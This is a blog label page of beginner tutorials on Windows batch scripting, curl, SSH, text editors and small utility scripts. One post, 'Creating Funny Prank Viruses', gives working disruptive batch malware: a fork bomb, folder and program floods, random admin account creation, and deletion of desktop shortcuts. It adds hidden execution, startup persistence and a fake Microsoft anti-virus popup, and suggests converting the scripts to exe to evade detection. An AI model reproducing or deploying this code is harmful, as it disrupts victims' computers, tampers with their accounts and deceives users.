Showing posts with label CMD. Show all posts
Showing posts with label CMD. Show all posts

Installing Python Interpreter in Windows 10

Python is a popular high-level programming language used for general purpose programming. But unlike Linux/Unix based operating systems, python interpreter does not come pre-packaged with windows 10. It means we have to install it by ourselves.

Installing python in Windows 10 in very easy, we just need to download the installer file and install it. You can download python interpreter for windows from below link :
Read more »

Curl for Web Hacking and Pentesting

In the previous post we saw the basic uses of curl. Now at this we are going to see some useful and important command as web pentesting view.

1. Get the HTTP response header

We can get header information of a website with '-I' flag
 curl -I http://www.w3.org
2. Sending GET Requests
 curl "http://www.testserver.com/example.php?name=hacke&age=30"
3. Sending POST requests 
 curl -d "name=ajay&submit=Submit" http://www.testserver.com/example.php
4. To follow a redirect location:
 curl -L http://www.testserver.com
5. Sending custom Headers : 
 curl -H "user-agent:Mozilla/5.0 (X11; Linux x86_64) " http://www.testserver.com
 curl -H "Content-Type: text/xml" http://www.testserver.com
 curl -H "Host: www.unknownsite.com" http://www.testserver.com
6. Custom User-Agent Header :

We can send custom user agent header by '-A' flag
 curl -A "Mozilla/5.0 (X11; Linux x86_64)" http://www.testserver.com
 curl -A "Mozilla/5.0 (compatible;  Windows NT 5.0)" http://www.testserver.com
7. Custom Referrer field :
 curl -e http://referersite.com http://www.testserver.com
Or we can also send custom referrer with below command
 curl -H "Referrer: http://referersite.com"  http://www.testserver.com
8. Custom Cookies : 

To send custom cookies use '-b' flag
 curl -b "name=sectree" http://www.testserver.com
To store response cookies in a file use '-c' option. We can also send cookies which is stored in a file.
 curl -b current_cookies.txt -c new_cookies.txt http://www.testserver.com
where the current_cookies.txt are being sent to the web server and new_cookies.txt are response cookies by the server which is stored and written in that file.


Read more »

How to use Curl in Linux : Curl Guide For beginners

Curl is a command line tool for getting or sending files using URL syntax. It is used to transfer data from or to a server, using one of the supported protocols (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP). The command is designed to work without user interaction. We can use curl for download files from internet, sending custom HTTP ( GET and POST ) request, as FPT client, sending e-mails etc. Curl can be used in many different and interesting ways. Some of the main features of curl is :
Read more »

How to reconnect to a disconnected ssh session on Linux based SSH Server

Whenever we run a very long jobs on server over ssh, then sometimes the ssh-session will disconnected for various reasons. And when we again try connect to the server, then it will start another ssh-session. Now at that situation reconnect to a disconnected ssh session with the help of tmux utility. tmux is a terminal multiplexer, which can be used to multiplex several virtual consoles, allowing a user to access multiple separate terminal sessions inside a single terminal window or remote terminal session. It is useful for dealing with multiple programs from a command-line interface, and for separating programs from the Unix shell that started the program. First install tmux in your system if it not installed.
 $ sudo apt-get install tmux
 So, in order to make your ssh-session capable to reconnect, first connect to your ssh-server
Read more »

How to Set up SSH keys on a Linux based Client/Server

An SSH key is an access credential in the SSH protocol. Its function is similar to that of user names and passwords, but the keys are primarily used for automated processes and for implementing single sign-on by system administrators and power users. SSH keys provide a more secure way of logging into servers with SSH than using a password alone. While a password can eventually be cracked with a brute force attack, SSH keys are nearly impossible to decipher by brute force alone. Generating a key pair provides user with two long string of characters: a public and a private key. So we can place the public key on any server, and then unlock it by connecting to it with a client that already has the private key. When the two match up, the system unlocks without the need for a password. We can increase security even more by protecting the private key with a passphrase. So lets get start.
Read more »

A Beginners Guide To SSH : How to start with SSH

The most common way of connecting to a remote Linux server is through SSH (aka Secure Shell). SSH is a secure protocol used as the primary means of connecting to Linux servers remotely. It provides a text-based interface by spawning a remote shell. After connecting, all commands you type in your local terminal are sent to the remote server and executed there. SSH uses public key cryptography for both connection and authentication. SSH is the default tool for system administrator to perform various tasks on servers remotely. In order to use SSH to access your server remotely, you will need a SSH client on your local machine. For Linux machines ssh-client is comes with built-in, and for windows machine you can use putty : https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html here.

Read more »

A Beginners Guide to vi / vim text editor

vi (visual editor) is a terminal based text editing application, originally created for the Unix operating system. It is a fast, powerful and most popular and classic text editor in the Linux family. It is available in almost all Linux and Unix Distributions, and works the same across different platforms and Distributions. Vi does not contain any menu, instead it uses combinations of keystrokes to accomplish an action. It requires very few resources to run. An improved version of the vi editor which is called the VIM (Vi IMproved) has also been made available now. The vi editor is a full screen editor and has two modes of operation:
Read more »

A Beginners Guide to nano text editor

nano is a text editor for Unix-like computing systems or operating environments using a command line interface. It emulates the Pico text editor, part of the Pine email client, and also provides additional functionality. nano was first created in 1999 with the name TIP by Chris Allegretta. The name was changed to nano on 10 January 2000 to avoid a naming conflict with the existing Unix utility tip. In this tutorial, we will discuss the basic usage of the Nano editor, as well as some of the features it provides. The following screenshot shows the editor in action:



Read more »

Installing Metasploit framework on Ubuntu Server 16.04 LTS

Installing oracle Java:
  sudo add-apt-repository -y ppa:webupd8team/java  
  sudo apt-get update  
  sudo apt-get -y install oracle-java8-installer   

Installing Dependencies:

Read more »

Hexadecimal to Char Converter in Python


The below python script simply convert Hexadecimal inputs into ASCII Characters

 #!/usr/bin/python  
 import sys  
 if(len(sys.argv) != 2):  
   print "\n\tUsage: %s <hex_values>\n" % sys.argv[0]  
   print "\t  Ex: %s 41424344\n" % sys.argv[0]  
   sys.exit(1)  
 tl = len(sys.argv[1])  
 x = 0  
 str = ""  
 while((x+2) <= tl):  
   ch = chr(int(sys.argv[1][x:x+2], 16))  
   print "[0x" + sys.argv[1][x:x+2] + "] = " + ch  
   str += ch  
   x += 2  
 print  
 print "String= " + str + "\n"  


Read more »

Registry Tweaker : Easily Enable/Disable Task Manager, Registry editor and Command Prompt in Windows XP/7/8

 

About :

Registry Tweaker is a small GUI tool written in C++, which helps you to quickly and easily Enable/Disable Task Manager, Registry editor(regedit.exe) and Commad prompt by a single click. It is fully portable and works on all versions of windows from windows XP to windows 8 [32bit/64bit both].

Download it from here :   

How To Use :

@. Run Registry Tweaker with admin privilege. In windows XP just double click on it, and in windows vista, 7, 8 right click on program then click on Run as Administrator.


note : In windows vista/7/8 program does not work without admin privilege, either it will show an error message.

@. At startup it will automatically display the status of utilities Enabled or Disabled.


@. Now to Enable or Disable any utility you just need to check the checkbox at front of that utility and then just click on Enable or Disable button.


How To Use Video :

I hope you like this tool, and thanks for visiting us.!!

Read more »

Compress Folders via Command line using VBscript



Hi guys, Here is a small VBscript for compress or Zip/Unzip folders via command line in windows.

Code :

1:  ' Script name : zuip.vbs  
2: 
3:  ' A simple vbscript for zipping a folder or unzip a Zip File.  
4:  '  
5:  ' By : http://www.Sec-Articles.blogspot.com   03/2015  
6:  '  
7:  ' credits : peter mortensen for zipping function.(http://www.superuser.com/users/517/peter-mortensen)  
8:  '  
9:  ' Usage :-  
10: '  
11: ' For Zipping  : cscript zuip.vbs C [path_to_folder] [path_to_zip_file]  
12: '  
13: ' For Unzipping : cscript zuip.vbs E [path_to_Zip_Archive] [path_to _Extract]  
14: '  
15:    
16:  Option Explicit  
17:    
18:  Dim ObjArgs  
19:  Set ObjArgs = Wscript.Arguments  
20:    
21:  IF (ObjArgs.Count <> 3) Then  
22:          Wscript.echo "??.. Something Error in Arguments..!!"  
23:          Wscript.echo "Options : "  
24:          Wscript.echo "For Zipping -"  
25:          Wscript.echo "cscript zuip.vbs C [path_to_folder] [path_to_zip_file] "  
26:          Wscript.echo "For Unzipping -"  
27:          Wscript.echo "cscript zuip.vbs E [path_to_Zip_Archive] [path_to _Extract]"  
28:          Wscript.quit  
29:  End IF  
30:    
31:  Select Case ObjArgs(0)  
32:      Case "C"  
33:          Zipper ObjArgs(1), ObjArgs(2)  
34:      Case "c"  
35:          Zipper ObjArgs(1), ObjArgs(2)  
36:      Case "E"  
37:          Unzipper ObjArgs(1), ObjArgs(2)  
38:      Case "e"  
39:          Unzipper ObjArgs(1), ObjArgs(2)  
40:      Case Else  
41:          Wscript.echo "No Match Found..!!!"  
42:          Wscript.echo "Options : "  
43:          Wscript.echo "For Zipping -"  
44:          Wscript.echo "cscript zuip.vbs C [path_to_folder] [path_to_zip_file] "  
45:          Wscript.echo "For Unzipping -"  
46:          Wscript.echo "cscript zuip.vbs E [path_to_Zip_Archive] [path_to _Extract]"  
47:  End Select  
48:    
49:    
50:  '  
51:  ' Zipping Function  
52:  '  
53:  Function Zipper(SrcF, DestF)  
54:    
55:      Dim fsys  
56:      set fsys = Wscript.CreateObject("Scripting.FileSystemObject")  
57:        
58:      IF Not (fsys.FolderExists(SrcF)) then  
59:          Wscript.echo " Source Folder Could not found..!! Please Check the path Again."  
60:          Exit Function  
61:      End IF   
62:        
63:      IF (fsys.FileExists(DestF)) then  
64:          Wscript.echo " Zip file Already Exists..!! Deleting it..?"  
65:          fsys.DeleteFile DestF  
66:          Wscript.echo " Zip file Deleted SuccessFully."  
67:      End IF   
68:    
69:      ' create an empty zip file  
70:      CreateObject("Scripting.FileSystemObject").CreateTextFile(DestF, True).Write "PK" & chr(5) & chr(6) & String(18, 0)  
71:        
72:      dim objshell, src, des  
73:        
74:      Set objshell = CreateObject("Shell.Application")  
75:      Set src = objshell.NameSpace(SrcF)  
76:      Set des = objshell.NameSpace(DestF)  
77:        
78:      des.CopyHere(src.Items)  
79:        
80:      Do Until des.Items.Count = src.Items.Count  
81:          Wscript.Sleep(200)  
82:      Loop  
83:    
84:      Wscript.echo "SuccessFully Zipped...!!!"      
85:            
86:      Set fsys = Nothing  
87:      Set objshell = Nothing  
88:      Set src = Nothing  
89:      Set des = Nothing  
90:    
91:  End Function   
92:    
93:    
94:  '  
95:  ' Unzipping Function   
96:  '  
97:  Function Unzipper(zipF, extrF)  
98:    
99:      Dim fsys  
100:      set fsys = Wscript.CreateObject("Scripting.FileSystemObject")  
101:        
102:      IF Not (fsys.FileExists(zipF)) Then  
103:          Wscript.echo "Could not Found Zip Archive..!! please Check the Path Again."  
104:          Exit Function  
105:      End IF  
106:        
107:      IF Not (fsys.FolderExists(extrF)) Then  
108:          Wscript.echo "Could not Found Folder To Extract..!! Creating Folder..."  
109:          fsys.CreateFolder(extrF)  
110:          Wscript.echo "Folder Created SuccessFully."  
111:      End IF  
112:        
113:      Dim objshell, zip, extr  
114:        
115:      Set objshell = CreateObject("Shell.Application")  
116:      Set zip = objshell.NameSpace(zipF)  
117:      Set extr = objshell.NameSpace(extrF)  
118:        
119:      extr.CopyHere(zip.Items)  
120:        
121:      Do Until extr.Items.Count = zip.Items.Count  
122:          Wscript.Sleep(200)  
123:      Loop  
124:        
125:      Wscript.echo "SuccessFully Extracted.!!"  
126:        
127:      Set fsys = Nothing  
128:      Set objshell = Nothing  
129:      Set zip = Nothing  
130:      Set extr = Nothing  
131:        
132:  End Function  

Download it From here :

How To Use :


For Compress a Folder

 Syntax  : cscript zuip.vbs C [path_to_folder] [path_to_zip_file]  
 Example : cscript zuip.vbs C "C:\Users\Ajay\desktop\test" "C:\Users\Ajay\desktop\test.zip"  

and for extracting files from a Zip archive

 Syntax  :  cscript zuip.vbs E [path_to_Zip_Archive] [path_to _Extract]  
 Example :  cscript zuip.vbs E "C:\Users\Ajay\desktop\test.zip" "C:\Users\Ajay\desktop\test"  

How To Use Video :




Ok..!! Thats all for this.
I hope you like this.
& Thanks for visiting.


Read more »

Creating Funny Prank Viruses with Batch File Scripting


With Batch scripts we can creates some cool and funny virus scripts. In this post i am gonna explain you some batch virus scripts. But remember don't run these scripts directly in your PC otherwise it will crash your PC, i test all these scripts in Virtual Box. In order to properly understand these codes or create your own virus scripts you need to know some basics of Batch scripting and windows commands. For the Basics of Batch scripting see my previous post Windows Batch Scripting Guide For Beginners or just Google about it.

Note : This article is Only written for educational purpose and i just want to show you some Batch scripting hacks. If you harm yours or others system then i am not responsible for it.

So Now Lets see some Batch virus codes :

Folder_Bomber

 

::folder Bomber
@echo off
:loop
md "%userprofile%/Desktop/%random%"
goto loop


The above script will randomly creates thousands of folders on Desktop. To create a Batch script just open the notepad and paste that above given code on it then go to the file menu and click on "Save as" option, change the "Save as type" to "All files" and type "virus.bat" to filename box where ".bat" is extension of Batch file then click on save button.




To run this virus just click on it.

Program_Bomber

::Program Bomber
@echo off
:loop
start cmd.exe
start notepad.exe
start calc.exe
start explorer.exe
start write
start mspaint
goto loop 


This code will runs command prompt, notepad, Calculator, MSword, MSpaint etc. in infinite loop.

PC_Crasher

 

 @echo off
:Loop
start %0
goto Loop


The above code will crash the PC.

Account_Creator

 

@echo off
:Loop
net user %random% %random% /add
goto Loop


The above code will creates new user accounts with random names and passwords. Note the "net user" command will need administrator privilege, thus to run the above code on windows 7 & 8 you need to admin privilege.

Site_Opener

 

@echo off
:Loop
start www.google.com
start www.yahoo.com
start www.bing.com
start www.microsoft.com
start www.softpedia.com
start www.youtube.com
start www.facebook.com
start www.twitter.com
start www.whatsapp.com
start www.amazon.com
start www.ebay.com
start www.apple.com
start www.intel.com
start www.amd.com
goto Loop


This code will open all these site in infinite loop.

Drive_Pumper 

 

@echo off
setlocal ENABLEEXTENSIONS
cd %appdata%
set name=%random%
echo "This is just a sample line appended  to create a big file. " > %name%.dll
for /L %%i in (1,1,24) do type %name%.dll >> %name%.dll
attrib +r +h %name%.dll
del "%userprofile%\Desktop\*.lnk"


The above code will create a 1 GB garbage file on AppData folder and then delete all the Desktop icons.

Running Batch script in hidden Mode

When we run these batch scripts, its shows a console window. To solve these problem we need to run batch script with the help of a VBscript. Here is the code for VBscript


set RunBatch = createObject("WScript.Shell")
RunBatch.Run "Path of Batch Script", vbHide, TRUE

The file extension of VBscript is ".vbs". For running a Batch script named "test.bat", codes will be


set RunBatch = createObject("WScript.Shell")
RunBatch.Run "C:\Users\Ajay\Desktop\test.bat", vbHide, TRUE


 to run batch file, just click on the Vbscript file


where hidden.vbs is vbscript.

Running Virus at every Startup

Now if you want to automatically run these virus files at every startup then copy the Batch file into this Location

in Windows 7 & 8 : "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"

in Windows Xp     : "%userprofile%\Start Menu\Programs\Startup"

or add this extra code into the beginning of the batch virus file

@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto virus_codes

:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto install_virus

:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto install_virus

:install_virus
copy %0 %RC%

:virus_codes
:: Now your virus codes starts here


The above code will first examine the victim's OS, then automatically copy itself into startup folder. After apply this above code on Folder_Bomber's codes looks like



@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto virus_codes

:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto install_virus

:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto install_virus

:install_virus
copy %0 %RC%

:virus_codes
:: Now your virus codes starts here
::folder Bomber
@echo off
:loop
md "%userprofile%/Desktop/%random%"
goto loop




VBscript Virus

 

Now here is a Batch code which creates a VBscript in startup folder. This VBscript virus will automatically start after every reboot and terminate the Desktop, shows the fake error message then start Desktop[explorer.exe] again & again 50 times with some time duration. Here is codes

 @echo off & setlocal ENABLEEXTENSIONS  
 for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)  
 if %op%==7 (goto _7_8_installer)  
 if %op%==2002 (goto _Xp_installer)  
 if %op%==8 (goto _7_8_installer)  
 goto end  
 :_7_8_installer  
 set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"  
 goto Create_virus  
 :_Xp_installer  
 set RC="%userprofile%\Start Menu\Programs\Startup"  
 goto Create_virus  
 :Create_virus  
 echo Dim i > %RC%\virus.vbs  
 echo i = 0 >> %RC%\virus.vbs  
 echo Do >> %RC%\virus.vbs  
 echo  wscript.sleep 100000 >> %RC%\virus.vbs  
 echo  Set Myshell = wscript.CreateObject("WScript.Shell") >> %RC%\virus.vbs  
 echo  Myshell.run "taskkill /F /IM explorer.exe" >> %RC%\virus.vbs  
 echo  wscript.sleep 1000 >> %RC%\virus.vbs  
 echo  btv = msgbox("It seems Your Anti-Virus Program does not work Properly, So Please update it or remove it now.", 6, "Microsoft!!") >> %RC%\virus.vbs  
 echo  wscript.sleep 10000 >> %RC%\virus.vbs  
 echo  Myshell.run "explorer.exe" >> %RC%\virus.vbs  
 echo  i = i + 1 >> %RC%\virus.vbs  
 echo Loop until i = 50 >> %RC%\virus.vbs  
 goto end  
 :end  
 exit  

 

Converting Batch file into Executable Application

 

It is easier to detect Batch virus because anyone can saw the codes of Batch scripts. So to prevents this we also convert a Batch script into executable application using third party softweres.

Bat_To_Exe_Converter

 

first browse the batch file and then click on compile button, this program also consists some additional options like Custom Icon, run in background, delete after execution etc.

You can also try this Bat2Exe_Converter program written by me in vb.net. It consists some additional functionality like File Binding options etc.


For more details and Download see my previous post : Batch 2 Exe Converter written in  VB.net
It would worked fine in Windows 7 & 8 (both 32/64 bit), but due to dotnetframework dependency it might not work on windows Xp.

Batch virus Generator Programs 

You can also creates Batch virus using Virus creation Tools. Some of the best batch Virus creation tools are listed below

 DELmE's Batch Virus Maker

 


 In Shadow Batch Virus Generator



                                                 Click_Here_To_Download


Note : your antivirus program will treat these virus generation programs as a virus so use this program at your own risk.

That's it!!, I hope you like this article, Thanks for visiting. !!!!

   

 

Read more »

Block Websites in Windows XP, 7, 8 with Batch Script

This is a simple Batch Script which blocks Websites URL By editing 'Hosts' file. It also consists some functionality like saw previous blocked URLs, restore original hosts file or create new one etc.



1:  :: Site Blocker Script  
2:
3:  :: http://sec-articles.blogspot.com  
4:  :Start  
5:  @echo off & setlocal ENABLEEXTENSIONS  
6:  title Site Blocker  
7:  color a  
8:  mode con cols=80 lines=25  
9:  echo.  
10:  echo ===============================================================================  
11:  echo                     # Site Blocker #  
12:  echo.  
13:  echo ===============================================================================  
14:  echo.  
15:  echo Options :  
16:  echo.  
17:  echo 1) Block A Site  
18:  echo 2) Unblock All Blocked Sites  
19:  echo 3) Show Previous Blocked Sites  
20:  echo 4) About  
21:  echo 5) Exit   
22:  echo.  
23:  set /p ch="Enter Your Choice : "  
24:  if %ch%==1 goto Block  
25:  if %ch%==2 goto Restore  
26:  if %ch%==3 goto Show  
27:  if %ch%==4 goto About  
28:  if %ch%==5 goto End  
29:  echo.   
30:  echo Please Enter Correct Choice   
31:  pause > nul  
32:  goto Start  
33:  :Block  
34:  echo.  
35:  set /p url="Enter The URL : "  
36:  if exist "%systemroot%" (   
37:  if not exist "%systemroot%\System32\drivers\etc\hosts.bak" ( copy "%systemroot%\System32\drivers\etc\hosts" "%systemroot%\System32\drivers\etc\hosts.bak" )  
38:  echo 127.0.0.1  %url% >> "%systemroot%\System32\drivers\etc\hosts"  
39:  echo.   
40:  echo Url Blocked SuccessFully.!!  
41:  pause > nul  
42:  goto Start   
43:  ) else (  
44:  echo.  
45:  echo.  
46:  echo Error ?? Does not found Windows Directory.!!   
47:  pause > nul  
48:  goto Start )  
49:  :show  
50:  echo.  
51:  if not exist "%systemroot%\System32\drivers\etc\hosts" (   
52:  echo Error ?? Does Not found the Host File !!   
53:  pause > nul  
54:  goto Start )   
55:  @echo off & setlocal ENABLEEXTENSIONS  
56:  for /f "tokens=2" %%a in ('findstr /B 127.0.0.1 %systemroot%\System32\drivers\etc\hosts') do ( echo %%a & set d=%%a)   
57:  if exist %d%==nul ( echo You have not blocked any site..!! )   
58:  pause > nul  
59:  goto Start   
60:  :Restore  
61:  if exist "%systemroot%\System32\drivers\etc\hosts.bak" (   
62:  del "%systemroot%\System32\drivers\etc\hosts"  
63:  copy "%systemroot%\System32\drivers\etc\hosts.bak" "%systemroot%\System32\drivers\etc\hosts"   
64:  echo.  
65:  echo hosts File is SuccessFully Restored.!!!  
66:  pause > nul  
67:  goto Start )  
68:  echo.  
69:  echo Original host backup File are not Found.!!  
70:  echo Press Any key to Create new host File ...  
71:  pause > nul  
72:  echo # Copyright (c) 1993-2009 Microsoft Corp. > "%systemroot%\System32\drivers\etc\hosts"  
73:  echo # >> "%systemroot%\System32\drivers\etc\hosts"  
74:  echo # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. >> "%systemroot%\System32\drivers\etc\hosts"  
75:  echo # >> "%systemroot%\System32\drivers\etc\hosts"  
76:  echo # This file contains the mappings of IP addresses to host names. Each >> "%systemroot%\System32\drivers\etc\hosts"  
77:  echo # entry should be kept on an individual line. The IP address should >> "%systemroot%\System32\drivers\etc\hosts"  
78:  echo # be placed in the first column followed by the corresponding host name. >> "%systemroot%\System32\drivers\etc\hosts"  
79:  echo # The IP address and the host name should be separated by at least one >> "%systemroot%\System32\drivers\etc\hosts"  
80:  echo # space. >> "%systemroot%\System32\drivers\etc\hosts"  
81:  echo # >> "%systemroot%\System32\drivers\etc\hosts"  
82:  echo # Additionally, comments (such as these) may be inserted on individual >> "%systemroot%\System32\drivers\etc\hosts"  
83:  echo # lines or following the machine name denoted by a '#' symbol. >> "%systemroot%\System32\drivers\etc\hosts"  
84:  echo # >> "%systemroot%\System32\drivers\etc\hosts"  
85:  echo # For example: >> "%systemroot%\System32\drivers\etc\hosts"  
86:  echo # >> "%systemroot%\System32\drivers\etc\hosts"  
87:  echo #   102.54.94.97   rhino.acme.com     # source server >> "%systemroot%\System32\drivers\etc\hosts"  
88:  echo #    38.25.63.10   x.acme.com       # x client host >> "%systemroot%\System32\drivers\etc\hosts"  
89:  echo #   >> "%systemroot%\System32\drivers\etc\hosts"  
90:  echo # localhost name resolution is handled within DNS itself. >> "%systemroot%\System32\drivers\etc\hosts"  
91:  echo #     127.0.0.1    localhost >> "%systemroot%\System32\drivers\etc\hosts"  
92:  echo.  
93:  echo hosts File is SuccessFully Created..!!  
94:  pause > nul  
95:  goto Start   
96:  :About  
97:  echo.  
98:  echo This is a Simple Batch Script which edit the host file   
99:  echo located in "C:\Windows\System32\drivers\etc" directory.  
100:  echo Use this Script at your own risk, i am not responsible for  
101:  echo any kind of damage on your system.  
102:  echo Tested on Win XP, 7, 8  
103:  echo in windows 7, 8 run it with Admin privilege  
104:  echo.  
105:  pause  
106:  goto Start  
107:  :End  
108:  exit /b  



Download script from here :

How  To Video Tutorial :

 



Read more »

Windows Batch Scripting Guide For Beginners


Batch scripts are nothing but the sequence of commands which are executes one by one using command interpreter [cmd.exe]. The command line interpreter or cmd.exe is available in almost all versions of windows OS and located at c:\windows\system32\cmd.exe.

First of all you need to know the commands which are interpreted by cmd.exe, but before let's see how command are executes with command interpreter.The cmd.exe executes command in two modes :

1. Interactive Mode :  

In Interactive Mode we type commands in "command prompt". To start the command prompt just go to start Menu and type cmd on search box then hit enter. In this box type "echo hello world" and hit enter, after that command prompt will be return "hello world". "echo" command prints all the arguments.

 2. Non Interactive Mode or Batch Mode :

In Non Interactive Mode or Batch Mode we put all commands in a file and save it as "cmd.bat", where cmd is file name and ".bat" is the file extension of Batch files or Batch scripts. We simply creates Batch file using notepad, first open notepad and type these  

 @echo off  
 title My first Batch Script  
 echo ..........................  
 echo Hello Guys This is A batch Script  
 echo ..........................  
 pause    
 exit /b  


Now to go file Menu and click on save as option, then change save as type to all files and change the file name to cmd.bat then click to save button. Remember you could give any name to batch file but file extension is always .bat. To executes batch file just click on it.


The commands which are used in above script are :

@echo off :    command 'echo off' will be turn off the prompt. Prompt means the execution path of batch file. In my case the path is "C:\User\Ajay\Desktop\", your differ. After putting @ at the start of a command will prevents shown the execution of command in that line. (To test what @echo off command does just create another batch script similar to above and change @echo off to @echo on then see what happen.)

Title :    Title command is used to set the title of console window.

Pause :    Pause command is pause the command execution and wait for the user input, when user gives any input then next command will be executed.

Exit :    Exit command close the command processor or cmd.exe.

Some Batch Commands :

md :    [Make Directory] used to create a new directory.

Syntax :    md dir_name

cd :    [Change Directory] used to change directory.

Syntax :    cd dir_name

copy :    used to coping files

Syntax :    copy source_file_name destination_file_name

move :    used to moving files

Syntax :    move source_file_name destination_file_name

ren :    used to rename files

Syntax :    ren old_file_name new_file_name

del :    used del files 

Syntax :    del file_name

dir :    used to listing in current directory

Syntax :    dir

rem :    used to write comments or description inside batch scripts.

Syntax :    rem this is comment

we also write comments using '::' sign

Syntax :    :: This is comment

Now there is a simple script which demonstrate the above commands


These are some besic commands used in batch scripting. For more batch commands check these links :
 @echo off  
 title Script test  
 md my_dir  
 rem create a directory my_dir  
 dir > dir_list.txt  
 rem list all files in current directory with dir command and save the output in dir_list.txt  
 copy dir_list.txt .\my_dir\  
 rem copy dir_list.txt in my_dir '.' sign before my_dir specify the current working directory.  
 del dir_list.txt  
 rem delete dir_list.txt  
 cd my_dir  
 rem change directory to my_dir  
 ren dir_list.txt renamed_list.txt  
 rem rename dir_list.txt to renamed_list.txt  
 pause  
 exit /b  


windows commands List :        http://ss64.com/nt/
windows command reference : http://www.microsoft.com/en-in/download/details.aspx?id=2632

Variables:

To declare a variable use set command

Syntax :    set name="Ajay Kumar"

and to get the variable's data use %variable_name% 

Syntax :    echo %name%

To know more about set command just type 'set /?' in command prompt or look at the windows command reference help file. Now here is an example program of set command.

 @echo off  
 title TEXT File Creater  
 echo.   
 echo.  
 set /p data="Enter the File Content = "  
 echo.  
 echo.  
 set /p name="Enter file Name = "  
 echo %data% > %name%.txt  
 echo.  
 echo File created Successfully. !! Press Any key To Exit.  
 pause > nul  
 exit /b  

Control Structure:

Loop in Batch Scripts :

1. Goto Loop


 @echo off  
 :loop  
 msg * Hello world!!  
 Pause  
 goto loop  



2. For Loop :    Syntax of For loop is  'for %%{variable} in (set) do (command)'

 @echo off  
 FOR %%i IN (Windows, Linux, Mac_OS) DO (echo %%i)  
 Pause  
 exit /b  

For loop on numeric mode

Syntax :    'for /L %%{variable} in (starting point, step, end point) do (command)

 @echo off  
 FOR /L %%i IN (1, 1, 20) DO (echo Hello world!!!)  
 Pause  
 exit /b  

the above script prints 'Hello world!!!' 20 times, In For loop (1, 1, 20), where first '1' is starting point and second '1' is step means first '1' is increased by 1 at every loop and 20 is end point, when first 1's value is 20 then for loop is end. We also write this loop as : 'for /L %%i in (20, -1, -1) do (echo hello world)'

Conditional Statement in Batch Script:

1. if-else :

 @echo off  
 :Again  
 set /p num="Enter A Number{0 to continue}: "  
 if %num%==0 (goto Again) else (  
 echo.  
 echo You have entered %num%)  
 pause > nul  
 exit /b  

2. if not-else :

 @echo off  
 echo.  
 set password=12345  
 :pass  
 set /p user_input="Enter The Password : "  
 if not %password% == %user_input% (  
 echo Wrong Password ?  
 echo.  
 goto pass ) else (  
 echo.  
 echo Congratulations..!! You have SuccessFully Log in  
 pause > nul  
 exit /b)  

3. if exist :

 @echo off  
 echo.  
 if exist "C:\Windows\SysWOW64" (echo Your Operating System is 64 bit) else (  
 echo Your Operating System is 32 bit)  
 echo.  
 Pause  
 exit /b  

Arguments:

We also use arguments in batch scripts, to access arguments use %1, %2 .... where %1 denotes first argument and %2 denotes second. Here is an example script which shows how to use Arguments :

 @echo off  
 set /a ans=%1+%2+%3  
 echo.  
 echo The Sum of %1, %2, %3 is %ans%.  
 pause > nul  
 exit /b  

Above program takes three arguments, then print their sum. Make sure run this script via command line.


Coloring in Batch Script:

To create a color-full Batch script use color command, with this command we can change the text color as well as background color. The color code of Batch script is 

0 = Black      8 = Gray
1 = Blue        9 = Light blue
2 = Green     A = Light green
3= Aqua       B = Light aqua
4 = Red        C = Light red
5 = Purple     D = Light purple
6 = Yellow    E = Light yellow
7 = White      F = Bright white

For more info about color command type 'color /?' in command prompt. To change the text color only type 

Syntax    :    color [color code]
Example :    color a

For changing text and background color use :

Syntax    :    color [background color][text color]
Example :    color 1a

try out this command with different combinations of colors.

Multicolored Batch Script:

Now here is a Batch Script which shows multiple colors in a single script :
 
 @echo off  
 setlocal EnableDelayedExpansion  
 for /F "tokens=1,2 delims=#" %%a in ('"prompt #$H#$E# & echo on & for %%b in (1) do rem"') do (  
  set "DEL=%%a"  
 )  
 rem Prepare a file "X" with only one dot  
 <nul > X set /p ".=."  
 echo.  
 call :color 0a "  Hello Guys This IS Test....    "  
 echo.  
 call :color 0b " This IS The Second Colour........  "  
 echo.  
 call :color 0c " This IS The Third Colour........  "  
 echo.  
 echo.  
 pause >nul  
 del X  
 exit /b  
 :color  
 set "param=^%~2" !  
 set "param=!param:"=\"!"  
 findstr /p /A:%1 "." "!param!\..\X" nul  
 <nul set /p ".=%DEL%%DEL%%DEL%%DEL%%DEL%%DEL%%DEL%"  
 exit /b  

Script source page :

http://stackoverflow.com/questions/4339649/how-to-have-multiple-colors-in-a-batch-file/5344911%235344911

Functions in Batch Script:

We can also create functions in Batch programming. Functions are simply a reusable piece of code, in Batch programming a function is creates using a Label and goto :EOF command. Here is an Example of a simple function

 :print  
 Echo Hello this is my first function.  
 Echo Which Prints this Message.  
 Goto :EOF   

A function can be called by call command which followed by function's label.

Example :    call :print

So the above script look like this
 @echo off   
 call :print  
 pause > nul  
 exit/b  
 :print  
 Echo Hello this is my first function.  
 Echo Which Prints this Message.  
 Goto :EOF  

for more information and detailed tutorial about functions check out below link

http://commandline.co.uk/lib/treeview/index.php
http://www.dostips.com/DtTutoFunctions.php

Now here is function written by me which returns the IP address of given website url

 @echo off & setlocal ENABLEEXTENSIONS  
 echo.  
 set /p url="Enter The WEBSITE URL : "  
 call :SiteIp %url% ip  
 echo.  
 echo The IP Address of %url% is : %ip%   
 pause > nul  
 goto :EOF  
 :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  
 :SiteIp %address% ip  
 ::  
